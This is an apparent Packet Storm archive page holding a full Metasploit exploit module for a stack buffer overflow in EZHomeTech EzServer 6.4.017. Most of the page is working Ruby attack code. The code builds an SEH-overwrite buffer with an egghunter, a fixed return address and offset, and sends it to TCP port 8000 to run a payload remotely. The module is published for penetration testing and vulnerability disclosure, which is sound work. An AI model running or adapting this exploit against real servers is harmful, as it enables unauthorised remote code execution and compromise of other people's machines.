what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

EZHomeTech EzServer 6.4.017 Stack Buffer Overflow

EZHomeTech EzServer 6.4.017 Stack Buffer Overflow
Posted Jun 19, 2012
Authored by modpr0be | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious user sends packets containing an overly long string, it may be possible to execute a payload remotely. Due to size constraints, this module uses the Egghunter technique.

tags | exploit, overflow
SHA-256 | 2bc92ff43f6bcca9c19f782162fc5db7f333fc90bad8a57b6c286fccae52a802

EZHomeTech EzServer 6.4.017 Stack Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
'Description' => %q{
This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious
user sends packets containing an overly long string, it may be possible to execute a
payload remotely. Due to size constraints, this module uses the Egghunter technique.
},
'License' => MSF_LICENSE,
'Author' =>
[
'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module
],
'References' =>
[
[ 'EDB', '19266' ],
[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'seh'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
'DisableNops' => true
},
'Targets' =>
[
[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
{
'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
'Offset' => 5852
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Jun 18 2012',
'DefaultTarget' => 0))

register_options([Opt::RPORT(8000)], self.class)

end

def exploit
connect
eggoptions =
{
:checksum => true,
:eggtag => "w00t"
}

hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
egg = hunter[1]
buff = rand_text(target['Offset'] - egg.length) #junk
buff << egg
buff << make_nops(32)
buff << generate_seh_record(target.ret)
buff << make_nops(16)
buff << hunter[0]
buff << rand_text_alpha_upper(500)

print_status("Triggering shellcode now...")
print_status("Please be patient, the egghunter may take a while..")

sock.put(buff)

handler
disconnect

end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close